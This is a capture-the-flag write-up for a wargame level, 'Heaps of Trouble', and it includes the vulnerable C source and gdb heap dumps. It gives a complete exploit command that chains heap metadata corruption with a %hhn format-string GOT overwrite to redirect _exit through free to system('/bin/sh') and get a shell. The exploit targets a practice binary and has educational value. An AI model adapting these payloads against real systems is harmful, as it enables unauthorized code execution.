Gracker final level 12 pwned! (Heaps of Trouble!)

Try the challenge thoroughly before reading the write-up. Otherwise, it's your loss.

We ssh to [email protected] and authenticate using the password we had obtained after solving the previous level.

Recap of previous level.

The recap has no explaination, just the solution.

Level11

I’m writing this write-up the night before my exam, because I started solving gracker level13 as an excuse for not having to study, and still making my messed up brain think that I’m doing productive work. I’m a bit wierd that way. Now that I’ve solved the level after much much effort, I can’t resist jotting all my thoughts down right now. Exams be damned!

So, the challenge source code looks like:

/* 
 * "Heaps of Trouble!"
 *	created by cutz
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BLOCK_SIZE 128

int main(int argc, char **argv)
{
	char *a, *b, *c, *d, *msg = "Heaps of Trouble!\n";
	char copy[BLOCK_SIZE];

	if (argc != 3) {
		fprintf(stderr, "Missing args!\n");
		return 1;
	}

	a = malloc(BLOCK_SIZE);	
	b = malloc(BLOCK_SIZE);	
	c = malloc(BLOCK_SIZE);	

	if (!a || !b || !c) {
		fprintf(stderr, "Malloc failed!\n");
		return 1;
	}

	free(b);
	strcpy(a, argv[1]);
	strncpy(c, msg, strlen(msg)); 

	d = malloc(BLOCK_SIZE * 2);

	if (!d) {
		fprintf(stderr, "Malloc failed!\n");
		return 1;
	}

	strcpy(d, argv[2]);
	strncpy(copy, b, sizeof(copy));
	printf(c);

	_exit(0);
}

There are sooo many vulnerabilities that I could spot on the first glance!

  • strcpy without length check
  • printf without format specifier
  • use after free

At least the binary was NX/DEP enabled. But, such over the top protections can’t do much if the underlying logic of the program is vulnerable.

Let’s just walk through what’s happening in the program.

  • First a, b, c chunks are allocated sequentially on the heap.
  • b chunk is freed
  • argv[1] is copied to a without bound checks
  • The msg string is copied over to the c chunk
  • d chunk is allocated
  • argv[2] is copied over to d
  • the b chunk’s contents are copied to a copy variable
  • printf prints c, without format specifiers
  • _exit(0) is called

Some good resources to know more about how heap stuff works:

My solution goes as follows:

When argv[1] is copied over to the a chunk, I’ll attempt to corrupt the heap metadata, such that the processor thinks that the wilderness (the unoccupied part of the heap) is right after the a chunk. This way, when d is allocated, it will be allocated over the same memory of the already allocated chunks b(freed) and c(not freed!)

This is what the heap looks like after d is allocated and argv[1] is copied over to it:

  1. If I don’t corrupt the heap metadata:
Breakpoint 1, 0x080486ab in main ()
gdb-peda$ r $(python2 -c "print 'A'*128") $(python2 -c "print 'D'*256")
gdb-peda$ x/200xw 0x0804a000
0x804a000:	0x00000000	0x00000089	0x41414141	0x41414141 -.
0x804a010:	0x41414141	0x41414141	0x41414141	0x41414141  | 
0x804a020:	0x41414141	0x41414141	0x41414141	0x41414141  |
0x804a030:	0x41414141	0x41414141	0x41414141	0x41414141  |
0x804a040:	0x41414141	0x41414141	0x41414141	0x41414141  | The A chunk. 128 bytes. argv[1]
0x804a050:	0x41414141	0x41414141	0x41414141	0x41414141  |
0x804a060:	0x41414141	0x41414141	0x41414141	0x41414141  |
0x804a070:	0x41414141	0x41414141	0x41414141	0x41414141 _|
0x804a080:	0x41414141	0x41414141	0x00000000	0x00000089--.
0x804a090:	0xf7fa1810	0xf7fa1810	0x00000000	0x00000000  |
0x804a0a0:	0x00000000	0x00000000	0x00000000	0x00000000  |
0x804a0b0:	0x00000000	0x00000000	0x00000000	0x00000000  |
0x804a0c0:	0x00000000	0x00000000	0x00000000	0x00000000  | The freed B chunk. 128 bytes.
0x804a0d0:	0x00000000	0x00000000	0x00000000	0x00000000  |
0x804a0e0:	0x00000000	0x00000000	0x00000000	0x00000000  |
0x804a0f0:	0x00000000	0x00000000	0x00000000	0x00000000  |
0x804a100:	0x00000000	0x00000000	0x00000000	0x00000000__|
0x804a110:	0x00000088	0x00000088	0x70616548	0x666f2073--.
0x804a120:	0x6f725420	0x656c6275	0x00000a21	0x00000000  |
0x804a130:	0x00000000	0x00000000	0x00000000	0x00000000  |
0x804a140:	0x00000000	0x00000000	0x00000000	0x00000000  |
0x804a150:	0x00000000	0x00000000	0x00000000	0x00000000  | The C chunk. 128 bytes.
0x804a160:	0x00000000	0x00000000	0x00000000	0x00000000  |
0x804a170:	0x00000000	0x00000000	0x00000000	0x00000000  |
0x804a180:	0x00000000	0x00000000	0x00000000	0x00000000  |
0x804a190:	0x00000000	0x00000000	0x00000000	0x00000109__/
0x804a1a0:	0x44444444	0x44444444	0x44444444	0x44444444-.
0x804a1b0:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a1c0:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a1d0:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a1e0:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a1f0:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a200:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a210:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a220:	0x44444444	0x44444444	0x44444444	0x44444444 |   The D chunk. 256 bytes. argv[2]
0x804a230:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a240:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a250:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a260:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a270:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a280:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a290:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a2a0:	0x00000000	0x00020d61	0x00000000	0x00000000_/   Followed by the wilderness

2.If I do corrupt the heap metadata:

gdb-peda$ r $(python2 -c "print 'A'*132 + '\x88\x90'") $(python2 -c "print 'D'*256")
Breakpoint 2, 0x080486ab in main ()
gdb-peda$ x/256xw 0x0804a000
0x804a000:	0x00000000	0x00000089	0x41414141	0x41414141-.
0x804a010:	0x41414141	0x41414141	0x41414141	0x41414141 |
0x804a020:	0x41414141	0x41414141	0x41414141	0x41414141 |
0x804a030:	0x41414141	0x41414141	0x41414141	0x41414141 |
0x804a040:	0x41414141	0x41414141	0x41414141	0x41414141 | The A chunk. argv[0]
0x804a050:	0x41414141	0x41414141	0x41414141	0x41414141 |
0x804a060:	0x41414141	0x41414141	0x41414141	0x41414141 |
0x804a070:	0x41414141	0x41414141	0x41414141	0x41414141_|
0x804a080:	0x41414141	0x41414141	0x41414141	0x00000109
0x804a090:	0x44444444	0x44444444	0x44444444	0x44444444-.
0x804a0a0:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a0b0:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a0c0:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a0d0:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a0e0:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a0f0:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a100:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a110:	0x44444444	0x44444444	0x44444444	0x44444444 | The D chunk.
0x804a120:	0x44444444	0x44444444	0x44444444	0x44444444 | Allocated over B and C!
0x804a130:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a140:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a150:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a160:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a170:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a180:	0x44444444	0x44444444	0x44444444	0x44444444 |
0x804a190:	0x00000000	0x00008f81	0xf7fa1790	0xf7fa1790 / Followed by the wilderness

Now, since we control the value pointed to by c, we control what printf outputs!

Here’s the PoC:

gdb-peda$ r $(python2 -c "print 'A'*132 + '\x88\x90'") $(python2 -c "print 'X'* 136 +'I_want_to_print_this!'")
!': event not found
Starting program: /home/feignix/infosec/wargames/gracker.org/level12/level12/level12 $(python2 -c "print 'A'*132 + '\x88\x90'") $(python2 -c "print 'X'* 136 +'I_want_to_print_this!'")

 [----------------------------------registers-----------------------------------]
EAX: 0xffffcf0c ('X' <repeats 128 times>, "\220\240\004\b\030\241\004\b\220\240\004\b\b\240\004\b\200\207\004\b\300\317\377\377")
EBX: 0xffffcfc0 --> 0x3 
ECX: 0xf7e75280 (<__strncpy_sse2+2880>:	movdqu xmm0,XMMWORD PTR [esi])
EDX: 0x0 
ESI: 0x3 
EDI: 0xf7fa1000 --> 0x1b4d90 
EBP: 0xffffcfa8 --> 0x0 
ESP: 0xffffcef0 --> 0x804a118 ("I_want_to_print_this!")
EIP: 0x80486ce (<main+355>:	call   0x80483d0 <[email protected]>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80486c5 <main+346>:	add    esp,0x10
   0x80486c8 <main+349>:	sub    esp,0xc
   0x80486cb <main+352>:	push   DWORD PTR [ebp-0x18]
=> 0x80486ce <main+355>:	call   0x80483d0 <[email protected]>
   0x80486d3 <main+360>:	add    esp,0x10
   0x80486d6 <main+363>:	sub    esp,0xc
   0x80486d9 <main+366>:	push   0x0
   0x80486db <main+368>:	call   0x80483e0 <[email protected]>
Guessed arguments:
arg[0]: 0x804a118 ("I_want_to_print_this!")
[------------------------------------stack-------------------------------------]
0000| 0xffffcef0 --> 0x804a118 ("I_want_to_print_this!")
0004| 0xffffcef4 --> 0x804a090 ('X' <repeats 136 times>, "I_want_to_print_this!")
0008| 0xffffcef8 --> 0x80 
0012| 0xffffcefc --> 0xffffcf68 ('X' <repeats 36 times>, "\220\240\004\b\030\241\004\b\220\240\004\b\b\240\004\b\200\207\004\b\300\317\377\377")
0016| 0xffffcf00 --> 0xf7ffda54 --> 0xf7fd45a0 --> 0xf7ffd8f8 --> 0x0 
0020| 0xffffcf04 --> 0x1 
0024| 0xffffcf08 --> 0xf7fd45d0 --> 0x80482f8 ("GLIBC_2.0")
0028| 0xffffcf0c ('X' <repeats 128 times>, "\220\240\004\b\030\241\004\b\220\240\004\b\b\240\004\b\200\207\004\b\300\317\377\377")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 3, 0x080486ce in main ()
gdb-peda$ c
Continuing.
[Inferior 1 (process 31015) exited normally]
Warning: not running or target is remote
gdb-peda$ 

What??? Why didn’t it print my string? It’s because it wasn’t terminated by a newline character! I thought it might be a wierd form of a blind format string attack. I spent hours on end trying different payloads to pass onto printf, guessing the offset of where my input string might be! But nothing worked.

So, I decided to eliminate this blindness, by passing a newline character. This is a tricky thing, passing newline character into the argv. But, stackoverflow to the rescue!

So, now it was no longer a blind attack.

gdb-peda$ r $(python2 -c "print 'A'*132 + '\x88\x90'") $'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXI_want_to_print_this!\n'
!\n: event not found
Starting program: /home/feignix/infosec/wargames/gracker.org/level12/level12/level12 $(python2 -c "print 'A'*132 + '\x88\x90'") $'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXI_want_to_print_this!\n'
I_want_to_print_this!
[Inferior 1 (process 31254) exited normally]
Warning: not running or target is remote
gdb-peda$

This makes things a lot easier! So, I started trying to figure out the location where my string was located.

gdb-peda$ r $(python2 -c "print 'A'*132 + '\x88\x90'") $'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA%40$s\n'
Starting program: /home/feignix/infosec/wargames/gracker.org/level12/level12/level12 $(python2 -c "print 'A'*132 + '\x88\x90'") $'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA%40$s\n'
AAAAAAAA%40$s

[Inferior 1 (process 31299) exited normally]
Warning: not running or target is remote
gdb-peda$ 

And I made a stupid mistake! The parameter to printf was the pointer to the string that I controlled, not the string itself! So, when %40$s gave me my string, I started working without thinking on a payload to overwrite the GOT entry of the _exit() function which was called later. Of course it didn’t work, and when I debugged the issue by going into the intricacies of printf function, and trying to understand the instructions where it was segfaulting, it became clear to me.

I figured that I could actually have the address which I want to overwrite in the payload before my format string.

gdb-peda$ r $(python2 -c "print 'A'*132 + '\x88\x90'") $'/bin/sh\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\xb0\x99\x04\x08\xb1\x99\x04\x08\xb2\x99\x04\x08\xb3\x99\x04\x08ffff    \n%35$p-%36$p-%37$p-%38$p\n\n'
Starting program: /home/feignix/infosec/wargames/gracker.org/level12/level12/level12 $(python2 -c "print 'A'*132 + '\x88\x90'") $'/bin/sh\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\xb0\x99\x04\x08\xb1\x99\x04\x08\xb2\x99\x04\x08\xb3\x99\x04\x08ffff    \n%35$p-%36$p-%37$p-%38$p\n\n'

0x80499b0-0x80499b1-0x80499b2-0x80499b3

[Inferior 1 (process 31390) exited normally]
Warning: not running or target is remote
gdb-peda$ 

Btw, the address 0x80488b0 is the GOT entry of the _exit(0) function which I intended to overwrite.

$ objdump -R level12

level12:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804999c R_386_GLOB_DAT    __gmon_start__
080499dc R_386_COPY        [email protected]@GLIBC_2.0
080499ac R_386_JUMP_SLOT   printf@GLIBC_2.0
080499b0 R_386_JUMP_SLOT   [email protected]_2.0
080499b4 R_386_JUMP_SLOT   [email protected]_2.0
080499b8 R_386_JUMP_SLOT   [email protected]_2.0
080499bc R_386_JUMP_SLOT   [email protected]_2.0
080499c0 R_386_JUMP_SLOT   [email protected]_2.0
080499c4 R_386_JUMP_SLOT   __gmon_start__
080499c8 R_386_JUMP_SLOT   [email protected]_2.0
080499cc R_386_JUMP_SLOT   [email protected]_2.0
080499d0 R_386_JUMP_SLOT   [email protected]_2.0

Now, the question was, what to overwrite it with? A few days ago, I’d watched this live stream of the 33c3 CTF challenge: babyfengshui

Near the end liveoverflow had used a Oneshot /bin/sh. So, I figured I too could overwrite the GOT entry of _exit(0) with one such oneshot gadget, and be done with it. Well, it didn’t work out at all!

Oneshot /bin/sh:

First of all, writing the format string each time while debugging, for different addresses on the gracker machine’s libc took a long time. Even when I successfully did redirect code execution to one such gadget, it segfaulted! I came across this blog which mentioned the preconditions which must be met for these gadgets to work, and they weren’t being met in this case. I’d independently also noticed this to be the reason why it was segfaulting . I spent hours on this!

So, where else could I redirect code execution to? Some shellcode! So, I hurriedly placed some shellcode into one of the args and carefully wrote out the format string payload. Then, when it too segfaulted, it dawned on me, that the heap is not executable!!! Silly me!

What could I do…what could I do?…

And then it hit me! I could redirect code execution to some other function in the code itself, whoose argument I could control! So, I would need to overwrite the GOT entry for _exit() to that function (I chose free(b) being called earlier), overwrite the GOT entry for that function to point to system(), and place ‘/bin/sh’ in the b heap chunk.

  • 0x080499b0 -> 0x0804861e
  • 0x080499b4 -> 0xf7e66360
  • /bin/sh (Terminated by newline) -> B chunk on the heap

So, I did this and it worked!!!

[email protected]:/matrix/level12$ ./level12 $(python2 -c "print 'A'*132 + '\x88\x90'") $'/bin/sh\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\xb0\x99\x04\x08\xb1\x99\x04\x08\xb2\x99\x04\x08\xb3\x99\x04\x08\xb4\x99\x04\x08\xb5\x99\x04\x08\xb6\x99\x04\x08\xb7\x99\x04\x08ffff    %30c%31$hhn%104c%32$hhn%126c%33$hhn%4c%34$hhn%88c%35$hhn%3c%36$hhn%131c%37$hhn%17c%38$hhn'
$ whoami
level13
$ cat /home/level13/.pass
<REDACTED>
$

Heaps of Trouble! indeed!

So, the gracker wargame is finally over!!!

Overall it has been a great experience hacking on this wargame. I was a complete n00b when I started, but I have improved by a LOT by the end. I would definitely recommend others to attempt this wargame.

ssh [email protected]
      __                  _              
     / /                 | |             
    / /_ _ _ __ __ _  ___| | _____ _ __  
   / / _` | '__/ _` |/ __| |/ / _ \ '__| 
  / / (_| | | | (_| | (__|   <  __/ |    
 /_/ \__, |_|  \__,_|\___|_|\_\___|_|    
      __/ |                              
     |___/                               
             ~ follow the white rabbit ~
                     ~ gracker ~
            ~ irc.hackint.org  #gracker ~
[email protected]'s password: 
Sorry. There are no more levels at the moment. I hope you enjoyed it so far.
Please give me some feedback at [email protected]
[email protected]:~$ cat iwashere
Beuc
itsumade
sine was here
         .\\            //.
        . \ \          / /.
        .\  ,\     /` /,.-
         -.   \  /'/ /  .
         ` -   `-'  \  -
           '.       /.\`
              -    .-
              :`//.'
              .`.'
              .'  feignix was here.
[email protected]:~$ 

The End.